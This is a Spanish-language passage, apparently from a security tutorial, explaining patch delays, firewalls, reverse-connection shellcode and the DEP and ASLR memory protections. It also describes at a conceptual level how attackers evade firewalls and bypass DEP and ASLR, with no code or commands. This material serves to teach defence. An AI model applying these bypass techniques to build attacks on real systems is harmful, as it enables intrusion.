vulnerabilidad dado que ha salido hasta en la prensa. Pero para colmo de males está la política de actualizaciones del usuario, la cual nos dice que aunque Apple lance la actualización semanas o meses después desde el comunicado a la prensa, el usuario a lo mejor no actualiza su dispositivo con esa versión hasta semanas, meses e incluso años!! Lo que hace que sea todo ello un caldo de cultivo para cualquier hacker.

Por culpa de los tres puntos citados, incluso una vulnerabilidad supuestamente antigua puede afectar a un número increíblemente grande de dispositivos. Muchas veces no hace falta una vulnerabilidad tipo Zero-Day (es decir, una vulnerabilidad nueva no publicada) para tomar el control de un equipo, y simplemente usando un exploit con años de antigüedad se puede lograr el asalto por culpa del administrador de ese sistema o por culpa de que la empresa no lanzó en su día una actualización para dicho fallo de seguridad. Lo peor de todo ello es que esto puede sonar un poco a ciencia ficción, pero la realidad es que todo esto está pasando ahora mismo en cientos de miles de equipos de todo el mundo.

De todos modos, en el mejor de los casos de que las compañías sean totalmente honestas y tengan ciclos de actualización muy regulares y el usuario sea un extremista de la seguridad, no se está exento de problemas. Como ya he nombrado, las vulnerabilidades tipo Zero-Day son constantes. Un buen hacker podrá casi con total seguridad estudiar un sistema el tiempo necesario para lograr encontrarle el fallo de seguridad necesario para llevar a cabo sus planes, sin necesidad de acudir a un boletín de seguridad o a alguna vulnerabilidad ya publicada, será el quien la descubra, la aproveche y la guarde en su cajón, a fin de cuenta si nadie se da cuenta de ella o quienes se dan cuenta de ella no la hacen pública, este hackers u otros podrán explotarla a su voluntad por meses o años que pasen. Eso evidentemente nos está diciendo que las mejores vulnerabilidades no son precisamente las que se publican, y que en el arsenal de un buen hacker siempre hay alguna que otra sorpresa desagradable para los programadores. Si un buen hacker quiere atentar contra el navegador Safari por ejemplo, lo mejor que puede hacer es coger la última versión de este y sacarle todos los fallos de seguridad que pueda. Si a lo mejor posee 10 vulnerabilidades capaces de realizar ejecución remota, las guardará. Quizás con el tiempo Apple parchee algunas de ellas, pero si posee 10 y le tapan a lo mejor 3, aun dispondrá de 7 puertas para hacer y deshacer a su antojo. Pues bien, esto es lo que pasa a groso modo en los concursos de seguridad como el Pwnt2Own, los expertos van con más de una sorpresa bajo la manga. Si en el momento de la exposición dichos fallos aún no han sido tapados, el experto podrá con suerte llevar a cabo su “castigo” contra el navegador+Sistema Operativo objetivo. Por supuesto, en todo lo que se está hablando hasta ahora se presupone que el sistema operativo no pinta nada en ello, pero como veremos más adelante los hackers no solo se tienen que enfrentar a la meticulosidad de los programadores del software atacado, sino que se las tendrá que ver con el propio Sistema operativo.

Al igual que como se llama este pequeño apartado, lo recalco de nuevo, lo aconsejo y lo graparía en la frente de cualquiera: Señores, Actualizar el software, instalar siempre las actualizaciones de seguridad, no dejarlo todo en manos del destino, ACTUALIZAR, ACTUALIZAR, ACTUALIZAR. Jamás pensar que si no se ha lanzado una actualización significa que no hay vulnerabilidades, simplemente que el propietario del software no la ha publicado.

 

Firewalls

 Sobre los cortafuegos podríamos dedicar todo un volumen completo a ellos y posiblemente aun así nos quedaríamos cortos. ¿Qué tiene que ver un Firewall en las vulnerabilidades? Bueno pues depende del tipo de vulnerabilidad que tengamos entre manos, si no es una vulnerabilidad remota poco o nada tiene que ver con todo esto, en cambio si hablamos de vulnerabilidades remotas, el Firewall será una pieza casi esencial.

Los Firewall son piezas de software/hardware que vigilan el tráfico de red que sale y entra de un equipo/sistema. Si un Firewall se configurase en un momento dado como bloqueo total de conexiones entrantes y salientes, los equipos detrás de él estarían totalmente protegidos de cualquier ataque exterior. Evidentemente bloquear totalmente las conexiones entrantes y salientes no es que sea algo muy común. La cuestión es que si el Firewall es el vigilante de todas las comunicaciones de red, en él recaerá el papel imprescindible de monitorizar de algún modo ese tráfico de datos que pudiese ser en un momento dado un ataque externo. Esto podría ser casi la panacea contra cualquier vulnerabilidad remota, el problema es que los Firewall siempre están sometidos a las necesidades del equipo o equipos que tiene detrás de él. No es lo mismo la configuración y las políticas de seguridad que puede poseer un Firewall para proteger equipos domésticos que servidores que grandes redes empresariales. Esto hace que muchas veces los Firewalls tan solo sean capaces de impedir cierto tipo de amenazas. No es que no puedan bloquear otro tipo de amenazas, solo que normalmente no es factible, o simplemente imposible para el entorno que necesitamos.

Así, los Firewall poseen digamos dos configuraciones “básicas”, que dependen en primera instancia de si lo que tenemos detrás de uno de ellos es un equipo llamemos doméstico o un servidor.

Por regla general cualquier Firewall doméstico (la mayoría de puertas de enlace residenciales lo son), posee dos medidas de protección que ya de por sí logran filtrar una gran cantidad de ataques externos: NAT y el bloqueo de conexiones entrantes. NAT en sí mismo hace las funciones de Firewall muchas veces, pero este efecto es secundario. NAT lo que logra hacer en estas puertas de enlace residenciales es que la misma IP pública que nos da el ISP pueda ser compartida por todos los demás equipos de la red interna. Para realizar esto, NAT funciona en uno de sus modos de operación, generalmente en Full NAT o Cone NAT port restricted. Dado que esto fue detallado en otro tema, aquí no vamos a entrar en detalle, pero digamos que el efecto que produce es que ningún equipo exterior puede iniciar ninguna conexión con ningún equipo interior sin que este la haya solicitado anteriormente. Del mismo modo, las políticas de los Firewalls por defecto en este tipo de dispositivos hace lo mismo, bloquear por defecto todas las conexiones entrantes no solicitadas al router. A veces es el Firewall del router el que crea un NAT y a veces es un dispositivo NAT el que actúa de Firewall, pero el comportamiento es similar.

La idea detrás de estas políticas de seguridad es evidente. Un equipo doméstico en el 99% de las veces de todas las conexiones que realiza son a equipos remotos (peticiones web, peticiones a servidores DNS o de correo electrónico, Telnet, FTP en modo pasivo…), y como tales son conexiones salientes. Evidentemente las conexiones TCP son bidireccionales, es decir que aunque un equipo inicie la conexión el otro también se comunicará con el cliente, pero esto no es un problema ya que lo que se filtra de nuevo son las conexiones NO SOLICITADAS. Es decir, si queremos ver la web de Google lanzamos una petición a sus servidores, esta es devuelta a nuestro router y este verifica que efectivamente nuestro equipo había lanzado una petición a dicho host por dicho puerto, y por ello nos reenvía la información recibida del servidor de vuelta a nuestro equipo. Pero si por cualquier anomalía el servidor de Google quisiese enviar su web a nuestro router sin que este la hubiese solicitado, dicho flujo de información quedaría totalmente filtrado por el Firewall. Este comportamiento ya de por sí no está exento de problemas, y todos sabemos que es lo que sucede muchas veces: “Tenemos que abrir puertos”. Precisamente el abrir puertos es una consecuencia directa a este comportamiento!! Cuando una aplicación que tenemos en el equipo requiere de la apertura de un puerto, es debido a que dicha aplicación puede recibir datos externos en cualquier momento sin que dicha conexión hubiese sido solicitada anteriormente!! Este es el caso de los programas P2P, juegos online, servidores de cualquier tipo (ftp, correo, web…)… para que el Firewall no filtre dichas peticiones, se le instruye para que deje pasar al equipo concreto de la red dicha información.

Desde el punto de vista no obstante de un Servidor, un Firewall actúa normalmente de forma muy diferente, ya que este sí tiene que permitir la comunicación de ciertos servicios. Un servidor web por ejemplo no puede filtrar las conexiones entrantes a su puerto 80, dado que entonces dudosamente sería un servidor web. Pero posiblemente dicho servidor requerirá también una serie de servicios extras comunes, como por ejemplo el no bloqueo de las solicitudes ICMP ping (cosa que o pasa nada por filtrar en redes domésticas), habilitar el acceso a servicios como bases de datos, servidores proxy, servicios RDP para acceso remoto, VPN…

Pero en el caso de las conexiones salientes lo normal es encontrarnos el panorama contrario. Un equipo doméstico lo normal es que esté constantemente enviando peticiones al exterior y rara vez permitiendo conexiones entrantes. Por ello casi ningún usuario por riguroso o fanático que sea suele filtrar el contenido saliente. Es por una cuestión práctica, la lista de programas o conexiones salientes a permitir sería muy extensa: Navegadores web, programas de mensajería instantánea, gestores de correos, juegos, actualizaciones de cualquier programa, recursos en línea de los programas (cada vez más usados), acceso a bases de datos, telnet, ftp… la lista sería bastante bastante grande. Dado que la mayoría del problema suele ser las conexiones entrantes y a priori las conexiones salientes no suponen un problema (de nuevo, a priori), se optan por modelos de filtrar todo el contenido entrante y permitir el saliente.

Y en los servidores? Precisamente el caso contrario. Un servidor por regla general se configura de cara a esperar conexiones entrantes, en cambio conexiones salientes sin ser solicitadas muy pocas o ninguna. Esto quiere decir que la configuración básica de un servidor suele ser de filtrar el contenido saliente (permitiendo a dedo el que sí) y o permitir todo el contenido entrante o tener reglas bastante extensas sobre que tipo de contenido sí y que tipo de contenido no. Además, los Firewalls que tienen detrás servidores suelen tener políticas rigurosas para impedir ataques de denegación de servicio, ataques de fuerza bruta… medidas que normalmente limitan a cierto número de peticiones por segundo las conexiones que vienen de un equipo concreto.

La relevancia con las vulnerabilidades es clara. Si se pudiese filtrar todas las conexiones maliciosas (tanto salientes como entrantes) generadas por los ataques de los hackers, se lograría suprimir el 100% de las vulnerabilidades remotas. Evidentemente esto sería en felizonia donde todo fuese perfecto, en la vida real no es así. En la vida real los hackers saben de sus amigos los Firewalls, y existen medidas para sortearlos. La forma más habitual es la que comentamos cuando explicábamos a groso modo un Shellcode. Generalmente los firewalls domésticos están preparados para denegar las conexiones entrantes, pero un exploit se puede inyectar de muchas formas. Por ejemplo, si se trata de un exploit de un navegador, se hace que el navegador caiga en una web trampa, con lo que la comunicación la estaría iniciando el equipo remoto y no el hacker, el Firewall ni se coscaría. Si el exploit afecta a un servidor de FTP sería lo mismo, este permitiría como tal las conexiones entrantes a ese servicio y por tanto el exploit sería viable. El problema aparece no una vez lanzado el exploit, sino con el tipo de código que se ha inyectado, el cual generalmente es un shellcode o un programa para acceso remoto. Este programa inyectado por así decirlo, debe de permanecer con el tiempo en el equipo afectado, no solo en el momento de la inyección del código y su ejecución. Tradicionalmente, los firewall eran una pesadilla para estos, dado que estas shellcode o programas funcionaban actuando como servidores, es decir permanecían a la escucha de conexiones entrantes, con lo que cualquier firewall filtraba generalmente cualquier posible comunicación con ellos. Entonces se optó por el uso de las conexiones inversas. Las conexiones inversas funcionan igual, solo que es el equipo o servidor del hacker el que actúa de servidor a la espera de conexiones entrantes, y es el equipo remoto el que una vez afectado por el exploit inicia la comunicación con el equipo dele hacker. Dado que en este caso son conexiones salientes, lo normal es que los Firewall no se den cuenta de lo que está pasando.

Las conexiones inversas sin embargo tienen pequeñas incomodidades. Primero, el hacker tiene que preparar su red para aceptar las conexiones a su programa que haga de servidor, y dejar constantemente su software a la escucha de dichas conexiones, o de lo contrario el hacker tendría el mismo problema que el host atacado con las conexiones directas. Por otro lado, codificar una shellcode inversa ocupa más que un shellcode directo, y siempre es preferible usar la mínima cantidad de bytes posibles para llamar menos la atención. Por último, en este caso el hacker no podrá jamás iniciar la conexión, dependerá en todo momento de que el cliente inicie la conexión. Esto normalmente se hace haciendo que el software inyectado en el cliente esté cada pocos segundos reintentando la conexión remota, con lo que se hace más “ruido” que una conexión puntual.

Otra arma habitual de los Firewalls es detectar directamente ataques comunes, como precisamente conexiones cuyo tráfico de datos concuerda con el patrón de una shellcode. Lo que sucede es que igual que esto es fácil de detectar por un firewall o un Antivirus, es igualmente sencillo por un hacker recodificar su shellcode de incluso un millón de formas diferentes para evitar la detección. Esto es algo muy habitual, el crear una shellcode que no pasa las medidas de seguridad del equipo remoto, se recodifica y al segundo o tercer intento se tiene éxito.

Los Firewalls no son inservibles, pero siempre hay que intentar en la medida de lo posible no dejarles agujeros de seguridad del tamaño de balones de baloncesto. Nunca abrir puertos que no se necesitan, nunca habilitar servicios que no se usen, usar detectores de escaners, bloquear las peticiones de ICMP entrantes, habilitar reglas delimitadoras de conexiones por segundo por host… todo ello aunque no exime de estar a salvo, de nuevo pone las cosas más complicadas, haciendo que al menos el atacante tenga que molestarse en probar técnicas más eficientes y que consumen más tiempo. Pensar que gracias a los Firewalls domésticos actuales, se evitan un sinfín de exploits increíbles, y que el usuario no es consciente de ellos. Si ahora mismo todos los equipos domésticos se conectasen directamente a internet sin Firewall ni puertas de enlaces residenciales, atacar cualquiera de ellos sería un juego de niños, al día siguiente aparecería en prensa algún exploit/malware que se estaría propagando como la espuma, sobre todo en equipos más antiguos como Windows XP o como MAC OS X (desde Leopard a Lion). Así que aunque no seamos consciente muchas veces de las capas de protección que tenemos, muchas veces hace falta recordarlas, que porque se nos olviden no significa que no estén ahí y que estén realizando un papel importantísimo y esencial… y por tanto creo que es necesario no olvidarlas nunca. Firewalls? SI.

Como apunte… actualmente no creo que sea necesario el uso de Firewalls por medio de software de terceros. Tanto Windows, Linux y MAC OS poseen Firewalls integrados básicos que cumplen con la mayoría de las tareas necesarias, y el resto lo hace las puertas residenciales de los usuarios. En cambio si es muy preocupante su inexistencia en la mayoría de dispositivos portátiles. Igual que los equipos convencionales como portátiles o sobremesa generalmente se conectan a Internet por medio de puertas de enlace residenciales, los dispositivos portátiles que hacen uso de las redes 3G NO!!! Es decir, están conectados directamente a Internet. Esto provoca que asaltar cualquier dispositivo de este tipo sea infinitamente más sencillo. Por ejemplo, como demostré en el artículo de “Como controlar unos miles de iPhone de forma remota”, la seguridad nula por parte de Apple en iOS y la inexistencia de ningún tipo de Firewall siquiera básico hacía que mi ataque fuese a la par de simple efectivo. Por ello, encontrar una vulnerabilidad en un PC es complicado, pero explotarla es mucho más complicada… pero explotarla en un dispositivo con un iPhone es tremendamente sencillo, con el daño añadido que ocasiona, dado que son dispositivos con servicios muy golosos para un hacker, como GPS, conexione permanente por 3G, agenda, SMS, registros de llamadas, gestores de correo… pero es algo que parece no afectar al usuario doméstico… evidentemente por total desinformación. No quita que ante esto los Hacker se frotan las manos, y muestran anualmente en los concursos como el Pwn2OPwn o el Blak Hat lo simple que es tomar el control de este tipo de dispositivos, curiosamente sobre todo cuando estos son iPhone o MAC OS.

 

Data Execution Prevention (DEP)

 DEP fue una tecnología que se creó en los tiempos de Windows XP SP2 (implementada por Microsoft por primera vez, creo que antes incluso de Linux) y posteriormente mejorado y universalizado su uso, tanto en Windows como en el resto de sistemas operativos, incluso en los dispositivos portátiles. DEP tiene la finalidad de impedir o limitar en la medida de lo posible los efectos que puede causar las vulnerabilidades que afectan a la memoria del equipo, que como hemos visto serían los desbordamientos de Buffers o los punteros sueltos. Esto lo volveremos a ver más adelante en otros capítulos, y comprenderemos mejor el efecto que produce DEP.

DEP tiene dos modos de funcionamiento o implementaciones por así decirlo, puede tener una implementación simplemente basada en software, o puede tener una implementación basada tanto en software como en Hardware, que es la que posiblemente estemos usando la mayoría de los usuarios, aunque ellos no sean conscientes de ellos. Pero en ambos casos el funcionamiento de DEP y su modus de acción son similares.

Como hemos podido ver, el mayor riesgo que se puede tener es que un atacante logre la ejecución arbitraria de código en el equipo atacado, y como hemos visto por encima, ese código ejecutado generalmente es un código “inyectado” en el equipo objetivo gracias a la vulnerabilidad que sea, la cual hace que dicho código se ejecute en el proceso. Recordemos el shellcode expuesto. Pero a nadie se le escaba si ese código inyectado no deja de ser a fin de cuenta un pequeño programa, este debe de atenerse a las mismas reglas de cualquier otro programa!! Esto quiere decir que dicho código debe de estar en memoria antes de que sea ejecutado por el procesador… y aquí es donde entra en acción DEP. Por regla general como se verá en el capítulo sobre los desbordamientos de buffer y punteros sueltos, el código inyectado generalmente se logra colocar en el mismo espacio de memoria que ocupa el proceso vulnerable. Es decir que si el fallo de seguridad se explota en Chrome, cuando se inyecte el código malicioso casi con toda seguridad este se colocará en algún lugar del espacio de memoria que Chrome tenía reservado para sí mismo, y no en cualquier espacio de memoria del sistema de forma aleatoria. Esto se debe a que en Windows (en los otros OS es muy similar) usa un sistema de memoria plana y memoria virtual, el cual hace que cuando se ejecuta una aplicación, esta posee un espacio de memoria propio lineal de 4GB si es un proceso de 32 bits y 128TB (si la memoria no me falla) en procesos de 64bits. Esto no tiene nada que ver con la memoria del sistema ojo, cada proceso tiene su propio espacio dentro de la memoria virtual, y el tamaño de este espacio de memoria lineal dependerá evidentemente de la memoria que necesite el proceso, y si es necesario incrementarla se incrementará. En cualquier caso (aquí no estamos explicando hoy el funcionamiento de la RAM del sistema), la cuestión es que el código inyectado va a parar generalmente al espacio de memoria reservado por la aplicación.

Este tipo de vulnerabilidades como hemos dicho, después de inyectar el código malicioso tiene que ejecutarlo enviando al procesador dichas instrucciones. ¿Pero qué pasaría si el sistema tuviese un sistema por el cual pudiese marcar ciertas zonas de la memoria como no ejecutables? Eso es lo que hace exactamente DEP. Por regla general, el único código que se debe de ejecutar es el que el programador codifica cuando está creando la aplicación. Cuando la aplicación se ejecuta en un sistema como Windows, la memoria asignada a dicho proceso se divide en 3 partes fundamentalmente: El código, la pila (stack) y el heap (no sé si hay una traducción al español para este término la verdad). La zona de la memoria del código contienen precisamente el código máquina de las instrucciones que serán ejecutadas en el procesador, mientras que el stack y el Heap mantendrán los datos que se manejarán en la ejecución de dicho programa, como por ejemplo las estructuras de datos, variables, matrices… En un momento dado a alguien se le ocurrió algo inteligente: Bueno, si el único código que se ejecuta es el que pertenece al segmento de código y los otros dos segmentos jamás contendrán código a ejecutarse, ¿por qué no creamos por hardware un sistema que marque dichos segmentos (en realidad se marcan páginas de memoria) como no ejecutables?

Con esta idea en mente, si la misma vulnerabilidad colocase código malicioso en el stack o el heap del proceso y dichos segmentos estuviesen marcados como páginas de memoria de no ejecución, el procesador jamás ejecutaría dichas instrucciones, con lo que el exploit jamás tendría éxito. De este modo se comenzó la fabricación hace ya años de una nueva característica en los procesadores actuales llamado bit NX por sus siglas: “No eXecute”. No obstante cada fabricante le da el nombre que un poco le da la gana. Por ejemplo, Intel lo llama desde bit XD (eXecutable Disabled), AMD lo llama tanto NX como “Advanced Virus Protection”… pero en todos los casos es exactamente lo mismo. El bit en concreto es el bit 63 (el bit más significativo). Si este bit está activado, entonces dicha página de memoria a la que hace referencia el resto de bits está marcada como solo datos, y por tanto el procesador no ejecutará ninguna instrucción que se encuentre en alla. Si el bit está deshabilitado la página se entenderá como ejecutable. Dado que hablamos del bit 63, es necesario que el sistema esté usando un procesador y un OS de 64 bits ó un sistema de 32 bits usando procesos PAE (un sistema para que los procesos en 32bits puedan tener acceso por encima de los 4GB de memoria que por limitación intrínseca tienen)

DEP es la implementación en Windows (y como se conoce a este método en general en cualquier ámbito) a esta capacidad de los procesadores actuales. De este modo, si un programa es compilado con DEP, cuando el OS lo cargue en memoria se marcarán las páginas de memorias que NO CONTIENEN EL CÓCIGO como no ejecutable, y de este modo, teóricamente siempre hablando, se impediría la ejecución de cualquier contenido que se pudiese inyectar en dichas regiones de memoria protegidas. DEP ha tenido un impacto sin precedentes en aquellos equipos con el soporte hardware adecuado y bajo un OS con una implementación total de DEP en él. Actualmente el soporte hardware no es un problema, ya que el 100% de todos los procesadores que se venden, incluso la gran mayoría de procesadores tipo ARM de los dispositivos portátiles, disponen de esta medida de seguridad.

No obstante, al igual que es necesario el soporte hardware (que no es un problema actualmente), DEP no puede ser eficaz si el OS que ejecuta el sistema lo tiene implementado de la forma correcta, como es el caso de MAC OS por ejemplo. Windows posee por ejemplo 4 configuraciones o políticas DEP:

  • Deshabilitado (AlwaysOFF): En modo Deshabilitado es evidente, la funcionalidad DEP será totalmente desactivada en todo el sistema, DEP no será usado en ningún proceso ya sea de sistema o no.
  • Siempre activado (AlwaysON): En modo Siempre activado es igualmente evidente, con total independencia, DEP será usado sin posibilidad de ser deshabilitado.
  • Activado selectivamente (OptIN): Este es el modo por defecto de Windows en sus versiones de escritorio (no servidores). En este modo, DEP es habilitado por defecto para todos los procesos del sistema, pero no es habilitado por defecto en el resto de procesos. Alternativamente un administrador del sistema puede añadir a una lista aquellos procesos a los que quiere obligar a tener DEP activado.
  • Desactivado selectivamente (OptOUT): Este modo es el establecido por defecto en las versiones de servidores de Windows. Su funcionamiento es inverso al modo Optin. En este modo, todos los procesos, tanto de sistema como cualquier otro, son forzados a usarse con DEP. Al igual que ocurriese con OptIN, en este caso se puede establecer una lista de aquellos procesos que queremos excluir de usarlos con DEP

Estas opciones, excluyendo AlwaysOff y AlwaysON dependen evidentemente del modo en el que se compilen las aplicaciones. Es decir, si una aplicación se compila con el flag “DEP Permanente”, significa que a menos que el sistema esté configurado como AlwaysOff siempre se ejecutará con la protección DEP activada, y sin posibilidad además de modificar su configuración hasta que el proceso sea detenido. En otras ocasiones, un proceso puede ser ejecutado con DEP pero puede permitir en tiempo de ejecución la modificación de su política respecto a DEP (por ejemplo porque el programa lo requiera).

Actualmente, hay que decir que la gran mayoría de todo el software bajo Windows se ejecuta con la protección DEP activada, excluyendo en todo caso actualizaciones (que en sí mismas son programas), parches, malware y otros. Por poner un ejemplo, en la estación en la que estoy redactando estas palabras se están ejecutando 50 procesos, de los cuales tan solo uno de los procesos, googletalkplugin.exe, se ejecutaría sin protección DEP (por cierto, un tirón de orejas para Google, ya que debería de ser compilado con DEP). En mi caso particular, al tener configurado DEP como OptOut se ejecutaría también con DEP activado. Del resto de los 49 procesos, aquellos que son más susceptibles de ser atacados (navegador, gestor de correos, aplicaciones que hacen uso de Internet en general) además están compilados con DEP permanente, lo que impide totalmente que se pueda modificar su configuración en tiempo de ejecución.

Por supuesto, esto no significa que DEP sea igualmente un sistema totalmente perfecto, y por desgracia para unos y suerte para otros es algo que puede circunvalarse, aunque por supuesto requiere de una mayor habilidad, ingenio, tiempo… Actualmente existen más de una alternativa para poder saltarse DEP, algunas dependen del proceso en cuestión, otras de si el sistema usa otras medidas de seguridad como ASLR… Quizás la forma más simple para ver un ejemplo de cómo se podría saltar DEP, es con lo que se ha explicado aquí. Como hemos dicho, algunos procesos pueden compilarse para que sea imposible modificar la seguridad DEP una vez el proceso se ha ejecutado, lo que hemos llamado DEP permanente. Esto nos dice que debe de existir por tanto algún sistema por el cual sea posible en tiempo de ejecución modificar la seguridad DEP “al vuelo”. Si se deshabilita DEP para dicho proceso antes de ejecutar el código malicioso, el ataque tendría éxito. Dado que se presupone que ya se dispone de una vulnerabilidad de ejecución remota, se tiene por tanto control sobre el registro EIP (el contador del sistema, el registro del procesador que indica la próxima instrucción a ejecutarse) es posible hacer que el procesador ejecute la rutina de desactivación de DEP de dicho proceso, solo hay que indicarle en que zona de la memoria se encuentra dicha instrucción, y volver de ella para ejecutar el código inyectado. Este sistema funciona francamente bien, siempre y cuando no se disponga de otras tecnologías como ASLR o que el programa no esté configurado como DEP permanente. No obstante, es tan solo una de las varias opciones de las que dispone un Hacker para saltarse las medidas de seguridad.

 

Address Space Load Randomization (ASLR)

 En conjunción con DEP, sin duda alguna son las mayores bazas con las que cuenta actualmente nuestros dispositivos como medidas activas para frenar o atenuar el efecto de las vulnerabilidades. Al igual que DEP, ASLR funciona en el propio corazón de nuestros Sistemas Operativos, protegiéndolo de forma activa de cualquier posible ataque externo, y al igual que sucediese con DEP, ASLR puede trabajar a diferentes niveles, dependiendo principalmente de la implementación de ASLR en el sistema, pero también de la configuración del sistema que tengamos establecida y de si las aplicaciones en sí mismas fueron compiladas/linkadas con soporte para ASLR

Microsoft fue el primero en implementar ASLR de forma bastante activa y funcional con Windows Vista, y fue remodelada y blindada casi por completo en Windows 7. Linux por su parte ha poseído implementaciones similares a ASLR desde hace más tiempo que Windows, pero implementaciones mucho más “débiles”. MAC OS por su parte implementó una primera ASLR en Leopard, la cual nunca sirvió de mucho por lo débil que era, mientras que Lion ha mejorado la implementación ASLR, pero muy lejos aún de la que posee Windows, dejando muchos flecos sueltos. Una vez más, ¿Qué es ASLR?

En realidad, el trabajo de ASLR es simple, lo “único” que hace es cargar el código de las aplicaciones (las imágenes de estas, el stack, heap, librerías dependientes…) en posiciones de memorias aleatorias. Aquí hay que explicar algunas cosas por tanto. Cuando no se usa ningún tipo de tecnología tipo ASLR, la mayoría de procesos, librerías y otros suelen ser cargados siempre en cada ejecución en las mismas posiciones de memoria. En Windows XP por ejemplo, si un proceso cargaba 3 bibliotecas DLL: kernel32.dll, sys.dll, gdi.dll, las tres bibliotecas eran siempre posicionadas en las mismas direcciones de memoria. Esto en realidad es práctico desde muchos puntos de vista, pero evidentemente muy inseguro. El mismo ejemplo a las bibliotecas es aplicable tanto al segmento de código del programa, la pila de este o el heap por supuesto (y otras zonas/segmentos que usan los procesos).

Realizar con éxito un ataque de ejecución de código arbitrario, no es algo simple. Como ya veremos en un ejemplo real, es necesario la mayoría de las veces de saber en qué posición de memoria se encuentra el código de la aplicación, a veces tan solo con tener una idea de donde estará es suficiente, otras veces hace falta una localización exacta. Un hacker puede en casa con tranquilidad ejecutar en su sistema la aplicación vulnerable y ver las posiciones de memoria que ocupa, para crear el exploit de forma satisfactoria. Una vez terminado, el hacker dado que sabe que el objetivo ejecuta el mismos sistema operativo que él, sabe que la aplicación que ejecuta que es la misma que la suya estará instalada en las mismas posiciones de memoria!! Con lo que el hacker no tiene que adivinar ni hacer un trabajo tedioso de “fuerza bruta” para conocer dichas posiciones de memoria. Con ASLR sin embargo, el Hacker no podrá conocer a priori en qué posición de memoria se han cargado las librerías, los procesos… dificultando enormemente la tarea de este.

ASLR además, no requiere de ningún soporte hardware como el caso de DEP, tan solo soporte software. Pero también es cierto, que la fortaleza de ASLR reside sobre todo en cómo de buena o mala es la implementación. Se presupone que cada vez que el equipo se inicia, este recolecta ciertos bits de entropía (eso excede este tema), los cuales a su vez son usados para generar la aleatoriedad con el que se van a cargar los procesos. En teoría, si el proceso se detiene y se vuelve a ejecutar, mientras que no se reinicie el equipo se volverá a ejecutar en la misma posición de memoria. Por tanto, es muy importante que el equipo sea capaz de generar posición de memoria muy aleatorias, o de lo contrario un hacker podría a groso modo tener una idea de por donde se podría estar cargando el código, y como veremos ahora, saltarse por tanto la protección ASLR.

Otra cuestión muy importante cuando se trata con ASLR es saber que contenido carga aleatoriamente en memoria y cual no. Por ejemplo, Windows 7 es capaz de cargar aleatoriamente TODO, es decir, tanto el código del proceso, como las librerías DLL que requiere, su pila, su heap… todo. En cambio por ejemplo en MAC OS Lion incluso, las librerías cargadas no se cargan con ASLR, con lo que su posición en memoria es totalmente predecible, aunque si es cargado en posiciones de memoria aleatoria la imagen de la aplicación (el código) o la pila. Todo esto es a tener en cuenta cuando se desea buscar un método que sea capaz de saltarse esta defensa.

Por último, otra cuestión importante sería el comportamiento del OS por defecto para estas defensas. Hay que tener en cuenta que aunque puedan existir métodos muy eficaces para prevenir todo tipo de “ataques”, siempre hay que llegar a un compromiso entre la seguridad y la funcionalidad. Muchas veces ASLR no es viable porque nuestro código necesita estar posicionado siempre en la misma posición de memoria!! Con lo cual, si el sistema obligase siempre el uso de ASLR o no permitiese de algún modo el no usarse por parte del programador, aparecerían problemas con muchos programas. Aquí es donde los administradores de un sistema tienen que tomar las decisiones que estimen oportunas. Al igual que vimos con DEP, que podía ser deshabilitado totalmente, habilitado totalmente o activado/desactivado con restricciones, ASLR funciona de forma similar (siempre hablando dentro de Windows 7 por supuesto). No obstante, dado que ASLR es una función algo más agresiva que DEP, el sistema no nos permite por defecto cambiar su comportamiento de forma… “fácil”. Por defecto la política de Windows 7 es cargar todas las bibliotecas y procesos del sistema con ASLR, permitiendo establecer una lista de aplicaciones que deseamos que sean cargadas forzosamente con ASLR, independientemente si fueron o no compiladas para ello. Por supuesto, si cualquier aplicación es compilada para hacer uso de ASLR, lo usará (repito, en caso de Windows, es una característica que debe de soportar el OS).

Por supuesto, al igual que sucede con DEP ningún sistema por bueno que sea es totalmente invulnerable, e incluso en sistemas con ASLR se les puede buscar las cosquillas. A día de hoy, el cómo ser capaz de burlar tanto DEP como ASLR es un tema totalmente actual, en el que existe muchísimos teóricos y prácticos dentro del mundo de la seguridad informática que trabajan activamente para buscar tantos métodos mejores como cualquier forma que sea posible para saltarse este sistema. Lo que quiero decir es que no estamos hablando de algo que sea de hace muchos años. Actualmente, existen algunas formas por las cuales un hacker podría saltarse ASLR (con o sin DEP). El problema es que todas las formas actuales no van a garantizar al 100% que el hacker pueda lograr saltarse dichas protecciones, además DEP y ASLR no son las únicas defensas con las que cuenta un OS (aunque sí las más eficientes). Muchas veces dependerá del equipo en cuestión, de lo actualizado o no que esté el sistema, de las políticas que el sistema esté optando… e incluso muchas veces interviene el factor suerte, y por supuesto y lo más importante: Tiempo y habilidad. Voy a explicar brevemente 3 de las medidas más usadas para solventar los problemas que los hackers encuentran con ASLR:

  • Atacando alguna biblioteca que no esté protegida por ASLR, la cual puede servir de salto. Si el programa tiene cargada o usando una biblioteca que no esté protegida por ASLR, podremos de ante mano conocer su ubicación exacta y hacer uso de ella para ejecutar de ella la función que nos interese. Otra variante a este tipo de “ataques” es forzar que la aplicación en cuestión cargue una biblioteca que nos pueda servir y que no esté bajo ASLR, claro que en este caso tendríamos como he dicho que forzar la carga de dicha biblioteca (se puede hacer).
  • Por fuerza bruta. ASLR coloca el RAM las aplicaciones en posiciones aleatorias, pero estas no son totalmente aleatorias evidentemente. Para empezar, tan solo es aleatorio los primeros bytes de las direcciones de memoria, quedando el resto intacto. En segundo lugar, aun cuando una biblioteca sea cargada aleatoriamente, las funciones dentro de ellas (una biblioteca no es más que un conjunto de funciones predefinas) se encuentran todas siempre en el mismo offset relativo, es decir que con conocer donde se encuentra cualquier función de la biblioteca se puede inferir el resto. En sistemas de 32 bits, ASLR reserva 24 bits para la aleatoriedad, mientras que en los sistemas de 64 bits son 56 los bits que son aleatorios. Puede que sea imposible saber la posición exacta en la que hemos inyectado nuestro código, pero sí podemos hacer con técnicas como las ventanas NOP hacer crecer en lo posible las posibilidades de éxito que tenemos de acertar una posición de memoria relevante, lo veremos ahora en el siguiente punto mejor. La cuestión, es que como si de un crack se tratase, podemos lanzar el exploit, el cual tardará segundos/minutos/horas/días (o incluso no lo logrará) en obtener un punto viable dentro de la memoria del equipo atacado. El problema con este método son evidentes. Primero que aunque sea una cuestión de tiempo, hay tiempo que se considera aceptable y tiempo que no. En segundo lugar es que es muy dependiente a la vulnerabilidad encontrada, y no es algo que se podrá usar siempre. En tercer y último lugar, en sistemas de 64 bits el problema es mucho mayor, ya que la cantidad de tiempo necesaria para tener éxito aumentaría exponencialmente, aunque continuaría siendo teóricamente posible y factible en muchas ocasiones.
